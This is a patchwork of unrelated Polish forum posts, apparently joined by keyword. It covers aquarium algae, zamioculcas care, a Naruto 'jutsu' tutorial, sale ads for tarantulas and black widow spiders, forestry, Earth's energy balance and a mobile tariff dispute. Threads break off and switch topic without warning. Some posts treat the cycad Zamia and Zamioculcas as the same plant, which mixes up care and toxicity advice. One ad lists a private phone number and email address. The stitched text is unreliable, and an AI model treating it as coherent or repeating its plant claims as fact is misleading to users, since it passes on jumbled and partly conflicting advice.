woda jeszcze mętna,dojdzie jeszcze nieco zielska.




Wspomniałem że pojawiły sie okrzemnki na glosi, niesty ale są to krasnorosty
Zaniepokojony tym że przyrost roślin wyraźnie został zahamowany, zaczołem sie bacznie przyglądać co jest przyczyną. Obciołem kilka listków glosi i pod lupą stwierdziłrm że są to karsnorosty ... jeszcze malutkie ale są. Z tego prosty wniosek, jak bardzo trzeba być czujnym i szybko reagować.

Na fotce poniżej widać bardzo ciekawe zjawisko - jak glony blokują dostęp CO2 do rosliny. Mam w kranówce bardzo duże nasycenie CO2 wiec po odmianie roślinki intensywnie bąbluja:



Środki przedsięwzięte to:
- częściowa podmiana wody
- zamiana swiatła na zimno białe, oraz redukcja narężenia
- węgiel atywny do filtra

Pytanie - skąd glony mają pożywkę, skoro podstawowe parametry wody są wzorcowe Niestety nie znam stężenia PO4 i Fe (brak testów), jednak z praktyki wiem żę PO4 "idzie w parze" z NO3, azotany są na poziomie 15ppm, więc fosfor też powinien być minimalny. Tu odpowiedzi udzeliła mi ksiązka Diany Walstad, najprawdopodobniej jest troche za dużo dostępnego żelaza w słupie wody. Ograniczenie światła w początkowej fazie startu pewnie też dołożyło kropkę nad " i ". Glony bardzo skrupulatnie wykożystały sprzyjające warunki - dużo "papu" oraz to że lepiej potrafią rosnąć w mniejszym natężeniu oświetlenia i mam "wojnę"

Mogę cię zapewnić, że rosliny potrafią bardzo ładnie rosnąć i bez CO2. Jednak trzeba spełnić kilka podstawowych waruków:

1 opowiednie oświetlenie - czas świecenia i barwa widmowa świetlówek
2 stabilne parametry wody - czytaj dojrzały stabilny zbiornik
3 odpowiednie dostarczenie "papu" dla roślin - podłoże i karmienie ryb

Mając glebę w podłożu i ryby, spełniasz w znacznym stopniu warunek 3, pozostałe postaraj się DOPIEŚCIĆ i wszystko bedzie

Jak po jakimś czasie bedziesz chciał mieć bardziej wymagające rośliny, CO2 napewno się przyda. Jak zaczniesz nawozić w słupie wody to juz bedzie zamiana z LT w HT

Jak ustabilizujesz zbiornik, spraw sobie 2-3 Ampularie, wyczyszczą naloty na żwirku.

1 opowiednie oświetlenie
2 stabilne parametry wody - czytaj dojrzały stabilny zbiornik
3 odpowiednie dostarczenie "papu" dla roślin - podłoże i karmienie ryb
Mając glebę w podłożu i ryby, spełniasz w znacznym stopniu warunek 3
Jak zaczniesz nawozić w słupie wody to juz bedzie zamiana z LT w HT
Jak ustabilizujesz zbiornik, spraw sobie 2-3 Ampularie, wyczyszczą naloty na żwirku.

Jakiegoś ślimaka wczoraj dorwałem i wyrzuciłem, siedział sobie na elatine, pewnie razem z nią go dostałem.

Wszystkie niemal warunki- w tym brak dobrego oświetlenia- jest w stanie znieść chyba tylko jedna roślina- ZAMIOCULCAS. Jest on już teraz dość łatwo dostępny i chyba właśnie w takich miejscach jak biuro cieszy się dużym powodzeniem i zainteresowaniem. Nie znosi tylko jednego- nadmiaru wody- spokojnie można go podlewać raz na dwa tygodnie albo nawet rzadziej. Pozdrawiam.

aż wstyd bo to podobno to roślina nie do zdarcia a jednak ..., wcale jej tak nie podlewałam ,stoi sobie i raz na dwa tyg dostaje trochę wody , pojawiły się brązowe plamy na łodygach, potem zaczeły więdnąć pojedyńcze łodygi, brązowiały i tak jakoś dziwnie ni to usychały ni to więdły. Wyciagnełam ją z donicy , zanikły bylwy zostały same korzenie...czy ja ją jeszcze uratuję ? i jak mam to zrobić? błagam o pomoc

A co to znaczy "który nie choruje"? On właśnie choruje - na przędziorki. Przędziorki atakują osłabione rośliny, np. takie które były przesuszone. Mógłzostać zaatakowany już w kwiaciarni.
Trzeba go umyć, najlepiej pod strumieniem chłodnej wody. Potem opryskać sprayem przeciw przędziorkom, jego i inne rośliny w domu, bo przędziorki są ruchliwe i na pewno już oblazły inne rośliny. Opryski trzeba powtarzać, co jakiś czas umyć też rosłinę wodą. Walka będzie ciężka, ale zamioculcas ma dość twarde liście, więc może je śli będzie mial zapewnione dobre warunki to przędziorki nie dadzą rady ponakłuwać za bardzo liści i nie zrobią wielu szkód...

Mnie też zmroziła ta jukka, bo widziałam ją na liście roślin trujących dla kota razem z krotonem, difenbachią, bluszczem, wspomnianą draceną, wilczomleczem i wieloma innymi. U mnie została praktycznie paproć, trzykrotka i połamana przez kota zielistka (też jej nie jadł chociaż mógł). Zamówiłam już pastę stosowaną przez Carmellę i zobaczymy co będzie. Trawka jak szybko urosła, tak szybko padła. I po kłopocie
A przy okazji - co z zamiokulkasem? Jest, czy nie jest trujący


Zamiokulkas, filodendrony, diffenbachia, anturium - to wszystko jest jedna rodzina i wszystkie sa trujace.

Zamiokulkas



Optymalna temperatura do prawidłowego wzrostu rośliny to 22–25°C, ale toleruje też cieplejsze pomieszczenia. Zimą kiedy temperatura spadnie poniżej 18°C pojedyncze listki mogą być zrzucane, tak że pozostają tylko zgrubiałe ogonki (tak też dzieje się w warunkach naturalnych). Powyżej tej temperatury zamioculcas pozostaje zielony. Roślina nie powinna być wystawiona na bezpośrednie promieniowanie słoneczne i stawiana w przeciągach. Zamiokulkas jest sukulentem (ma zdolność do gromadzenia wody), dlatego nie powinno się go zbyt często podlewać. W okresie zimowym zachowuje atrakcyjny wygląd nawet gdy nie jest podlewana przez 2-3 miesiące. Później jednak zaczynają zasychać liście. Stopniowe żółknięcie i opadanie dolnych listków jest natomiast objawem typowym dla tej rośliny w miarę jej starzenia się. Wymagania pokarmowe zamiokulkasa są niewielkie. Roślinę wystarczy zasilać nawozami wieloskładnikowymi rozcieńczonymi do połowy lub 1/4 dawki zalecanej dla większości roślin doniczkowych. dnia Pią 4:38, 20 Mar 2009, w całości zmieniany 1 raz

Kryptokoryna Becketa Cryptocoryne pontederiifolia Cryptocor
mieczyki dorosłe cena około 6zł/szt
rośliny pokaźne około 4-3zł/szt Kryptokoryna Becketa Cryptocoryne walkeri
lub zamiana na??
ceny do uzgodnienia
02.05.08 jestem prawie cały dzień na Zana w Komforcie mogę cos zabracd po umówieniu wczwsniejszym

508821077
tylko dziś!!

Kursy technik » Kawarimi no Jutsu
Kolejna lekcja. Tym razem zajmujemy się nauką techniki podmiany ciał. Bardzo przydatne jutsu gdy jesteśmy atakowani przez więcej niż jedną osobę. Technika może być efektowniejsza przy użyciu np. Bunshin no Jutsu. Wtedy wróg będzie miał większe problemy. Za późno się zorientuje, że zadarł z nie tą osobą co trzeba. Nauczy się, że z fanami Naruto się nie zaczyna!.

1. Na samym początku trzeba obrać dowolny przedmiot, który nas zastąpi. Nie zawsze musi to być jakiś kawałek drzewa (jak to jest przeważnie w Naruto). To jest tylko dobry przykład. Równie dobrze może to być zwierze bądź też roślina.

2. Kolejnym etapem jest wykonanie pieczęci (na dole strony). Dobry ninja powinien to zrobić w odpowiednim momencie. Tak by nikt się nie zorientował, że już została wykonana zamiana ciał. Później chowamy się w dobrym miejscu i czekamy na odpowiednią chwilę.

3. Kiedy wróg przystąpi do ataku powinien być nieźle zaskoczony, jak nagle pojawi się co innego zamiast Waszego ciała. Ruszamy do ataku póki przeciwnik jest zdezorientowany. Wygrana jest już nasza. Można jeszcze w różne sposoby urozmaicić końcowy atak.

Poniżej przedstawiam dwa obrazki, które obrazują działanie tej techniki.

Pieczęcie

Baran
Świnia

Wół
Pies

Wąż

Hmm .. nie ma za bardzo co oceniać bo poza zamianą miejsc roślin to nic się nie zmieniło ... Przesadziłeś troszkę z ilością AS na przodzie - podsyp go na tył ... gatunków roślin też jest cała masa - postaraj się szybko o więcej światła bo zmarnieją Ci ... no i dolej wody bo trochę mało jej masz ...

Dość odpornym, a przy okazji efektownym kwitkiem jest Zamia (zwana też Zamiokulkasem). Powinna pięknie wygladać na szafce - a u mnie przeżywa kiepskie światło (nie lubi bezpośredniego słońca), okresowe przesuszenia i podgryzanie przez kota. Wygląda ona tak


A więcej o niej możesz poczytać tutaj http://serwisy.gazeta.pl/czasopisma/1,42454,1719840.html

sprzedam akwarium 50/30/30 dł/wys/gł cena do uzgodnienia bądz zamiana
dysk 80Gb
karta muzyczna soundBlaster
256MbRam
Rzekaotka Arlekin Z Terrarium
sztuczne rośliny(duży wybór)
ceny do uzgodnienia bądz zamiana... propozycje dnia Wto 8:35, 12 Maj 2009, w całości zmieniany 1 raz

Mnie udało się znaleźć tyle:

Zamia jest łatwa w uprawie i najlepiej rośnie w wilgotnych glebach, dobrze zdrenowanych. Lubi pełne słońce lub półcień, źle znosi głęboki cień. W okresie wegetacji należy ją zasilać nawozami dla palm.
Rozmnażanie tylko przez wysiew mięsistych, szkarłatnych nasion wytwarzanych przez rośliny żeńskie. Proces kiełkowania jest bardzo długi i trudny do osiągnięcia.
UWAGA! Wszystkie części rośliny są trujące dla ludzi i zwierząt. Ich spożycie powoduje zatrucie wątroby i nerek, może także doprowadzić do paraliżu.

W sumie ja w to nie wierzę, ale znajdą się tacy, co sądzą inaczej. Nie którzy wierzą w ten cały kalendarz majów, który przepowiadał wiele kataklizów świata itp. itd bla bla bla..kończł się podobno na 2012..Ale przecież ile lat temu oni żyli, więc to logiczne, że musiał się kiedyś skończyc. Tak samo przepowiednia Oriona, która mówiła że 21.12.2012 nastąpi zamiana Biegunów Ziemi, ze względu na ułożenie planet zdażających się co 12 tys. lat. Jeśli faktycznie by tak było to co 12 tys. lat zdażałoby się to czyli takie coś musiało miec miejsce wiele razy, skoro ziemia ma miliardy lat; byłoby to tragiczne w skutkach a przecież zwierzęta, rośliny i ludzie rozwijali się nadal.
Sądzę, że takie bajki są dobre dla wyznawców Jechowy i innych popaprańców, nie mających co robic.

Marysia ja w tamtym tygodniu musiałam swoją przesadzić bo miała za ciasno - nie dałam rady wyciągnąć jej z doniczki tak jej sie korzenie rozrosły, doniczkę rozbiłam, zamię przesadziłam, chyba jej to nie zaszkodziło bo na razie wygląda ładnie. Ja wychodzę z założenia że lepiej przesadzić nawet latem niż roślina ma sie męczyć w za ciasnej doniczce.

Zamiokulkas jest prosty w rozmnażaniu, ale jest to dość długi proces. Pojedynczy pęd można podciąć po skosie i wstawić do wody (w miarę często wymienianą), bądź do doniczki ze świeżą ziemią - wtedy warto otoczyć końcówkę pędu Ukorzeniaczem - specjalnym preparatem dostępnym w kwiaciarniach. Obydwie wersje u mnie zadziałały. Choć roślina dość wolno wypuszcza korzenie - w wazonie trwało to nawet ok. 3 miesięcy i dopiero wtedy przesadziłem do ziemi. Trzeba pamiętać, że roślina ta (już w doniczce) nie lubi wody i woli cieniste miejsca.

Sprzedam ptaszniki:

Brachypelma vagans L6 - 20zł/szt (dostępne 10 sztuk)
Psalmopoeus cambridgei - 7zł/szt (dostępne 10 sztuk)

A także małe czarne wdowy:

Latrodectus hasselti L1-3 - 15zł/szt (dostępne 10 sztuk)
Latrodectus menavodi L1-3 -12zł/szt

Hurt L. menavodi:

30zł/3szt
80zł/10szt,
140zł/20szt,
180zł/30szt,
powyżej sztuk 40 - 5zł/szt.

Wysyłka:
8zł list PRIO
10zł paczka PRIO.

L.menavodi mogę zamienić na inne pajęczaki (najchętniej na dorosłą samicę A.geniculata, gotową do kopulacji), owady, karmówkę, rośliny owadożerne, terraria i inne pojemniki na pająki, kable grzewcze, elementy wystroju terrarium, sprzęt RTV, sprzęt komputerowy, inne ciekawe rzeczy.

Kontakt:
gg: 8167874 (często niewidoczny),
e-mail: wfrys@o2.pl,
tel - 600407519,
PW.

Pozdrawiam

Witam!

wnoszę, że to letnie pokolenie, i gąsienica teraz się przepoczwarzyła..... Myślę, że jakiejś 2-3 tygodnie i motyl winien się wykluwać o ile gąsienica nie była porażona przez pasożyty.
Na marginesie: gąsienice P. machaon nie budują kokonów. kokon jest "budowlą" którą wznosi gąsienica przed zamianą w poczwarkę. Gąsienice tego gatunku przepoczwarzają się "luzem" na roślinach żywicielskich, rożnych przedmiotach itp itd.

Ostatnio spotkałem sie z teorią, że czym większe akwarium tym łatwiej o nie zadbać. Nie wydaje mi sie to prawdziwe, ale wolę zapytać specjalistów. Według mnie mam wieksze akwarium to tez wiecej lub wieksze, bardziej wymagajace ryby, wicej roslin no chyba ze robimy inny typ akwa. Skoro wszystkiego jest więcej to tez powinno byc o to trudniej zadbac, czyż nie? Sam nosze sie z zamiana 60l na 200, to inna sprawa. co Wy o tym sądzicie?

lukasses
JA swój baniak w ktorym mam 30W/55L Oswietlam od pon-pia od 6 rana do 20 a czasami i dluzej. Glonów brak a rośliny...pedzą jak szalone.
A co z sobotą i niedzielą / "post" /Wydaje mi się że zbędne jest oświetlanie akwa powyżej 12 godz.Pigul71
Czasem oświetlenia nie da się zastąpić mocy. Jeśli światła jest za mało, to świecenie 15 godzin nic nie da. W pewnych przypadkach możliwa jest odwrotna zamiana – krótszy czas świecenia z większą mocą.
I to jest prawidłowe stwierdzenie a ja od siebie dodam zresztą jak pisałem wcześniej że powyżej 12 godz. to pożywka dla glonów .

1
Bardzo tanie chryzantemy u Tomaszewskiego, mnóstwo przecen... nawet po 0,99 zł za doniczkę.
Z innych... kupilam male doniczki roslin z kolorowymi listkami... jakaś dracenka, fikus, jakies nakrapiane... później się zastanowię czy dam radę je wszystkie razem umieścic, czy sie nie 'pogryzą'. Zapewne będę zadawać dużo pytań na forum

W OBI dostawa roslin.. cyklameny, zamio, storczyki po ok 25 zł (rózniste - tansze niz 'normalne' obok, te są od 35 do 65 zł). Przecen nie było.

Fiolki w obu sklepach standardowe.

pozdrawiam

No wlasnie, czy mozna wiec uzupelniac te mineraly jakos?czy to zadanie nawozu? Wczesniej podlewalam bluszcza woda odstana i rowniez rosla dobrze po jakims czasie zauwazylam tylko biale naloty na wierzchniej warstwie ziemi. Ale podobno bluszcz lubi miec troche wapnia w ziemi..
A jakie rosliny sa wyjatkowo kwasolubne? Czy ktores z moich: storczyki (to zdaje sie kwasolubne roslinki..), anthurium, hedera(bluszcz) amarylis-hippeastrum (tak bylo napisane na pudelku z cebulami, wiec nie wiem co wyrosnie z tego; amarylis chyba najpierw kwitnie-rosnie mu ped- a potem liscie? jesli tak to jest to amarylis) sansewieria, skrzydlokwiat, zamioculcas- czy ktores z nich sa kwasolubne?

Witam serdecznie wszystkich miłośników roślin i przydomowego ogródka:) Jestem nowicjuszem na tejże stronie - zalogowałam się wczoraj. Zainteresowała mnie ta strona i forum, na którym ludzie wymieniają się informacjami jak pielęgnować i prawidłowo dbać o swoje kwiaty. Na imieniny to jest 27.05. w tym roku dostałam Zamiculcasa zamiolistnego. To piękny kwiat, który zauroczył mnie rok temu jak go pierwszy raz zobaczyłam w supermarkecie. Jednak sama jego sobie nie kupiłam. Dostałm jego w doniczce takiej zwykłej plastikowej o średnicy 12 cm i zastanawiam się, czy nie przesadzić jego do troszkę większej i bardziej estetycznej doniczki , którą dostałam w komplecie do kwiatka. Boję się tak bezmyślnie przesadzać tylko dla estetyki i dlatego chciałam zapytać się czy jest to możliwe, a jeżeli nie to kiedy będzie ten dobry moment? Wydaje mnie się, że jest dość duży - wys. 40 cm i obawiam się, że ma za małą doniczkę. Czytałam również opinie, że Zamioculcas zamiolistny lubi jak jest "ciasno", ale wolałabym się upewnić, bo niejedną mądrą rzecz wyczytałam na tym forum. Wierzę i ufam tym, którzy hodują tą właśnie roślinę, a nie opierają się jedynie na encyklopediach (co jest przydatne, ale jak napisałam niejedyne rozwiązanie). Pozdrawiam wszystkich serdecznie

To może sie wtrące.
Z włsanych parapetowych obserwacji wiem, że Zamio rzeczywiście lubi jak mu ciasno w korzonki. Jednak czasami już niestety trzeba go przeprowadzić do większego lokum. Możesz użyć ziemię próchniczą, pomieszaną z piaskiem. Zamioculcas preferuje ziemię kwasną. Proponuję dobry drenaż na dno domiczki, bo zamio rośnie na stepach i pustyni i nie lubi jak ma dużo wody.
Jak już go przesadzisz to nie martw się tym że zgubi liście. Nie szalej z podlewaniem, nie dokarmiaj. Poprostu zostaw go swojemu losowi. Jak cię serce ruszy możesz ostatecznie go pozraszać, ale nie robi mu to spacjalnej różnicy. Zapewniam cię, że roślinka nie zmarnieje. Wręcz przeciwnie. Będzie to dla niego mniejszy stres niż przesadzenie.
Powodzenia.

PS
W moim ulubionym dziale tego forum "Rośliny tropikalne" znajdziesz aż 14 stron wypowiedzi na temat pielęgnacji zamioculcasa.

1
no niestety,jak sie zaopatrze w jakies sadzonki to wsadze je do hydroponiki hoje i ficus pumila,skrzydłokwiat,zamioculcas oraz draceny rosna w niej super,ani nie mam szkodnikow,a na czas urlopu wlewam do poziomu max i mam spokoj na dwa tygodnie Dobrze ze innych mi nie przelano,storczyki zabroniłam wogole podlewac,hoje tylko raz i to minimalnie,tego sie trzymaly,rosliny przetrwały zdrowo,oprocz cissusow do tego był listopad,chlodno i ciemno

Kwiat na roślinie naturalnie zaschnął,

No i popełniłaś błąd Roślina bardzo dużo siły straciła na wytworzenie kwiatu i później na jego utrzymanie aż do uschnięcia. Na dodatek nie wyglądało to ładnie. Ja tam zawsze takie nieurodziwe kwiaty uszczykuję i już. Siła idzie na wzrost rośliny. I jeszcze jedno zamiokulkas wcale nie lubi nadtroskliwości. Ja swego podlewam raz na miesiąc a zasilam może raz na pół roku i jest zadowolony i rośnie jak na drożdżach.

1
Jeżeli to zamioculcas to praktyczna rada mojej sąsiadki: tzw" ciasne buty",podlewać na podstawek by wodę do cebuli dostarczyć poprzez korzenie,resztę z podstawka usuwać po pół godzinie bo nadmiaru wody nie toleruje jak kążde cebulowe i wbrew "plotkom" o nim żelazną rośliną nie jest(wymagany dobry drenaż najlepiej 3 cm warstwa keramzytu) w ciemnościach nie rośnie ,ale i palącego słońca nie lubi-sąsiadka traktuje gp jak sukulenta i dzięki temu jej roślina jest duża i dorodna,zdrowa.

na dłuzsza mete zaden tam nie przetrwa,albo musisz zamieniac i ustawiac znow na jakis czas na swiatło albo palic swiatło ok 10 godizn dziennie,wspólczuje rachunkow za prad

przez pewien czas wytryzmaja rosliny ktore wolno rosna,albo takie jak aspidistra,zamiokulkas bluszcz o zielonych lisciach

Woooow!!! Te małe łaciate to Musa sikkimensis, tak? Śliczne Bezskutecznie szukam drani od roku Skąd je masz?
A nie byłbyś może zainteresowany zamianą- Musa nana na Musa acuminata Dwarf Cavendish?? Praktycznie to samo, tylko m. acuminata w dobrych warunkach oświetleniowych mają śliczny deseń na liściach


te mało to musa basjoo wg metki na roślinie głownej a kupilem je w niemczech

1
czekam na propozycje
fotki niebawem
inne to przewaznie ogrodowe(nasionka)
beda tez jakies domowe
mam naprawde sporo kwiatkow
musze tylko popatrzec co i jak da sie podzielic

zamioculcas jesli by mi ktos podpowiedzial jak podzielic bo puszcza nowe pedy

popularnie to sie nazywa kasztanowiec bordowy kwiatek nasiona
fuksja
ogorecznik(?) pnaca roslina owoce to kolczaste jajowate ogorki

1
Polecam kwiat o nazwie ZAMIOKULKAS
To wyjątkowy twardziel. Nie imają się go choroby, szkodzi mu jedynie nadmiar wody. Podlewaj go dopiero wtedy, gdy ziemia przeschnie.
PIELĘGNACJA: Zniesie półcień i suche powietrze. Może więc stać także w głębi mieszkania. Bardzo szybko rośnie. Trzeba znaleźć mu przestronne miejsce. W sprzyjających warunkach zakwita. Kwiaty podobne do kalli wyrastają u podstawy liści, mają zielonkawą barwę i dość długo utrzymują się na roślinie.
Bez problemu można go kupić w kwiaciarni

a glupsze temay pousuwam


Zrobiłem listę najmniej płodnych i najmniej wnoszących moim zdaniem tematów w tym dziale:

wyraz na ostatnią litere
X czy Y
do czego służy?
Gdzie sie przed chwila podrapales/las
co by było gdyby?
Za ile minimalnie to zrobisz?
z jakim przedmiotem kojarzy Ci sie osoba powyzej?
z jaka roslina kojarzy Ci sie osoba powyzej?
Z jakim zwierzakiem kojarzy Ci sie osoba wyzej?
Masz czy nie masz?
Zamiana liter.
ksiazka/czasopisma
napisz swoje imie nosem
Co masz w schowku?
tworzymy własna wioche
tratatata. A dlaczego tratatata?
Rzeczpospolita Tasmanii

do jakiego stolca podobny jest poprzenik


Takiego niestety nie było. xD

ja tez mam NIESTETY pokrywe z zestawu i nie jest dobrze... tez mam pokrywke na pokarm... ale pokrywa przystosowana tylko do 1 jarzeniowki :/ i do tego max 15w bo np 25w nie wejdzie... a jezeli chcialbym przerobic to nie ma miejsca :/ chce zwiekszyc moc przynajmniej o jeszcze jedna 15w bo te rosliny ktore potrzebuja wiecej swiatla nie wyrabiaja i dolne listki odpadaja poniewaz nie dochodzi wystarczajaca ilosc swiatla :/ jak przyjdzie wieksza ilosc gotowki trzeba pomyslec nad zamiana zbironika na np. 112l i pokryywe zrobie sobie z drewna na wymiar... zobaczymy :]

Mi sie wydaje, ze "dostosowanie lasow do siedliska" jest naduzywane. Czasem to pretekst do kazdej wycinki. Sa wytyczne, ze lesnictwo ma byc ekologiczne, to tnijmy dalej, tylko powiedzmy ze to ze wzgledu na ekologiczne "dostosowanie lasow do siedliska".

Mi zal starodrzewi np. sosnowych. Stare lasy sa tak rzadkie, ze nawet jesli na nieodpowiednim siedlisku to sa ostoja cennych roslin i zwierzat. I zamiana np. 120-letniego drzewostanu sosnowego na 5-letnie sadzonki lisciaste zubaza srodowisko, nie wzbogaca. W wielu okolicach nie ma praktycznie starodrzewi - nawet na dobrym siedlisku.

Watpie, czy las powinien byc zawsze idealnie dostosowany do siedliska, rowniez w warunkach naturalnych. Drzewa zyja po 200-400 lat. W tak dlugim okresie samo gromadzenie sie sciolki lesnej zmienia warunki glebowe. Wyrazne sa wahania klimatu i wilgotnosci. Klasyczna teoria sukcesji roslinnej w ogole pomija mozliwosc wahan klimatu i wilgotnosci i nie zajmuje sie, ile zajmuje "opoznienie" az zbiorowisko sie przystosuje.

Jaka jest powierzchnia starodrzewi w Polsce (np. powyzej 100 lat) i czy rosnie, czy spada? Starodrzewia to jedyne srodowisko zycia wielu roslin i zwierzat lesnych. "Rosnie sredni wiek lasow" to slowa mylace, bo opisuja glownie rozlegle, mlode nasadzenia powojenne, ktore "starzeja sie" np. z 5 do 15 lat.

1
To co postulujesz to po prostu zamiana upraw zbóż, na uprawy drzew. Tylko czy to coś środowisku da? Jakby nie było to dalej będą uprawy, a nie naturalne ekosystemy. Tym bardziej że naturalne ekosystemy na lesie się nie kończą. Ba! Czasem wręcz zalesianie niszczy cenne siedliska.

Ekologia wbrew pozorom nie jest, Michale, taka prosta jakby się zdawało i nie sprowadza się do sadzenia wszędzie drzew. Zalesiać też trzeba z głową.

A o szczegółach niechybnie powiedzą ci za moment forumowicze którzy mają w tej dziedzinie stosowne wykształcenie.


niczego nie postuluje, pytam bo mnie to zastanawia,
wdg mnie da, ale jak już mówiłem nie znam się, przez pierwsze 50 lat na pewno, ale takie uprawy mogły by odciążyć inne cenne leśne ekosystemy, w których tną na potęgę. Było by dużo lasu, to społeczeństwo nie sprzeciwi się tworzeniu dalszych PN. Był by las obok puszczy białowieskiej do ciecia, to w puszczy był by PN.
O tym żeby nie zalesiać siedlisk rzadkich roślin pisałem(aczkolwiek to również mnie zastanawia, przed pojawieniem się człowieka, na tych polanach był las, wychodzi na to ze te storczykowe łąki to są takie pół-naturalne, czy może były, ale np po pogorzeliskach?)
W takim razie ile wdg was, powinno być w Polsce lasów? Te 29% wystarcza? Możecie mówić co chcecie, ale ja i tak wole las i piłę łańcuchową, niż nawozy i kombajn w polu
że zalesiać trzeba z głową to oczywiście zgoda, zresztą pisałem


Woda paruje i zużywa energię.


Energia ta staje się "znów widoczna" w procesie kondensacji.
Strumień ciepła utajonego jest jednym ze sposobów przekazywania ciepła z
powierzchni Ziemi do atmosfery.

Po za tym energia jest zużywana w inny sposób. pochłaniają ją np. rośliny.


Potocznie można przeczytać, usłyszeć, że energia jest zużywana. Takie
słownictwo występuje w publikatorach, niekiedy podręcznikach...
Energii (patrząc szeroko) nie da się ani zniszczyć, ani wytworzyć, ani
zużyć.
Następuje natomiast ZAMIANA rodzaju energii oraz PRZEKAZYWANIE energii z
jednego podukładu do innego.
Z polskojęzycznych podręczników obejmujących meteorologię można więcej
poczytać w:
A. Kędziora "Podstawy agrometeorologii" PWRiL, Poznań 1999  (na str. 79).

Energia słońca którą dostaje ziemia =
Energia która z ziemi wychodzi +
+ enrgia którą ziemia zużywa, lub magazynuje


Trochę uproszczony powyższy zapis bilansu. Wydaje mi się, że warto określić
w jakiej skali przestrzenno-czasowej mówimy o bilansie.
Z wielu możliwości często przytacza się (w skali wielolecia):
- bilans całego systemu Ziemia-atmosfera w stosunku do otaczającej
przestrzeni
bądź
- bilans cieplny całej Ziemi w stosunku do atmosfery.

To nie ma bezpośredniego związku z temperaturą.


Myślę, że jednak ma. Promieniowanie długofalowe jest wprost proporcjonalne
do 4 potęgi temperatury (bezwzględnej). Określone jest to przez prawo
Stephana-Boltzmana.

Pozdrawiam
Marek Nowosad


Jak czesto w tego rodzaju dyskusjach jest tu troche prawdy i troche
nieporozumien.
Wydaje mi sie ze Szczepan Bialek ma na mysli pewna sytuacje, w ktorej
pozar z otwartym plomieniem jest wyidealizowanym modelem reakcji
zachodzacej kosztem energii zgromadzonej w systemie ziemia-atmosfera,
ktorej jedynym skutkiem jest zamiana tej energii w promieniowanie
elektromagnetyczne w zakresie widmowym takim, ze nie reaguje z atmosferą a
opuszcza planetę. W takim przypadku bilans energii planety jest ujemny
co tu interpretowane jest jako oziebienie.


Gwałtowne wydzielenie energii na powierzchni Ziemi ogrzeje trochę
powierzchnię a reszta bez trudu znajdzie ujście w kosmos

Problem zmian klimatu jest nieco bardziej skomplikowany: trzeba wziac
wszystkie strumienie energii w systemie, uwzglednic procesy
magazynowania/transportu i zbadac ktore procesy powoduja jaka reakcje
systemu. Wazne jest, ze i reakcje i odpowiedzi systemu bywaja nieliniowe i
maja rozne charakterystyki czasowe. W dyskusji o klimacie KRYTYCZNE jest
zdefiniowanie najwazniejszych procesow i reakcji które maja znaczenie w
badanej przez nas skali czasu. Np. dryf kontynentow, jego wplyw na prady
morskie ma oczywiste znaczenie klimatyczne, ale jest z niezlym
przyblizeniem do zaniedbania w skali 100 lat.
W przeciwienstwie do p. Sczepana nie potrafie w tym kontekscie szybko
powiedziec jakie skutki w jakiej skali czasowej moze miec "spalanie"
otwartym ogniem.


Wielki pożar nam nie grozi. Natomiast skutki odpylania i odsiarczania spalin
to sprawa kilku lat. Popiół i SO2 to nawozy. Rośliny reagują bardzo szybko,
zwłaszcza jeżeli z układu wywozi się biomasę.

Tak na marginesie: bilans radiacyjny planety staramy sie sledzic z
satelitow. Piekne obrazki i animacje na ten temat sa pod:
http://earthobservatory.nasa.gov/Observatory/Datasets/netflux.erbe.html


Teraz jest dużo danych. Zaczynają się już pojawiać publikacje o SO2:
http://dissertations.ub.rug.nl/faculties/science/2005/l.yang/ i o popiele
http://graze-l.witt.ac.nz/pipermail/graze-l/1998-June/014110.html

 Pozdrawiam :)
 S*



To nie wprowadzaj innych w błąd takimi domysłami.


Chyba nie pisałem ,że tak jest, tylko chyba zaznaczyłem,że NIE WIEM jak jest
i że BYC MOZĘ jest w taki sposób....

| I nadal nie wiem, czy SMSy sa możliwe z konta promocyjnego.

Oczywiście, że są.


Dla mnie to nie jest oczywiste. Pisze POŁĄCZENIA. Czy POŁĄCZENIA to też
SMSy?
Gdzie to pisze?

| powinny wchodzić po 20 groszy... ale nie jest to nigdzie jasno
powiedziane.

SMS też jest nazywany połączeniem.


Gdzie to pisze w OFICJALNYCH materiałach IDEI?
Tak POWINNO być ale CZY JEST?

Wiec CHCE przeczytać. JEDNOZNACZNIE..
Za czesto operatorzy i to wszyscy grali w promocjach na niedopowiedzieniach,
półsłówkach etc. bym teraz czytając ich ofert miał sie kierowac zdrowym
rozsądkiem. A potem okaże sie,że w regulamieni pisze "połaczenia i

wyodrębnione, to nie można ich z konta promocyjnego.

To ja może pokaże obrazowo - w Optimie też są jakieś pakiety minut do
wykorzystania na _połączenia_ do Idei. W tym na SMSy.


Hmm...Mam optimę... SMSy mam oddzielnie liczone, bo stara optima...
Jest oferta PRZYJACIEL... NIC w niej o SMSach nie ma - tylko o
połaczeniach...
A o pakietach w OPTIMIE na płączenia do IDEi.... nie przypominam sobie...
Aaaaa... Czas dla Ciebie..... no tak..
Pewny jesteś ,że w starrej optimie będzie zamiana MINUT na SMSy? Nie? czyli
jednak połaczenia moga być róznie traktowane.
A pamietaj,że czasem dwa słowa zmieniają całkowicie sens...
lub czasopisma..
i inne rośliny...

Aha... mam REGULAMIN oficjalny.
Właczenie się do sieci (rozdział I, paragraf 4 punkt 5, lekko skrócony) -
czynnośc polegająca(...)na wykonaniu POŁACZENIA (..) a takze na wysłaniu
krótkiej iadomosci tekstowej.

Czyli według regulaminu połaczeni i wiadomosc tekstowa to oddzielne sprawy
wymagające oddzielnego traktowania.

Zatem pytam powtórnie: NA JAKIEJ PODSTAWIE SĄDZISZ że smsy w tej promocju sa
traktowane, w odróznieniu od REGULAMINU jako rodzaj połączeń?

Przejrzałem regulamin... SMSy moga być traktowane jako połaczenia ale równie
dobrze jako "inne usługi uwzględnione w cenniku"
To cały czas domysły i operator moze sie wypiąć i ne bedize podkładki do
reklamacji..


Byłam na wystawie/giełdzie w piątek po południu i kupiłam kilka roślin do paludarium. Troszkę ciężko tam trafić – trzeba przejść przez środek błotnistego placu zastawionego barakami dla robotników pracujących na budowie po sąsiedzku. Dodatkowo ulewny deszcz nie ułatwiał nawigacji.
Sama oranżeria jest zjawiskowa – zabytkowa konstrukcja z rdzewiejących kratownic i starych szyb, wypełniona jest po sam dach ogromnymi palmami daktylowymi, figowcami, fikusami i innymi roślinami, a wszystko oplata gęsta sieć bluszczu. Dodatkowo podczas deszczu woda przecieka przez nieszczelny dach, co tylko dodaje klimatu.
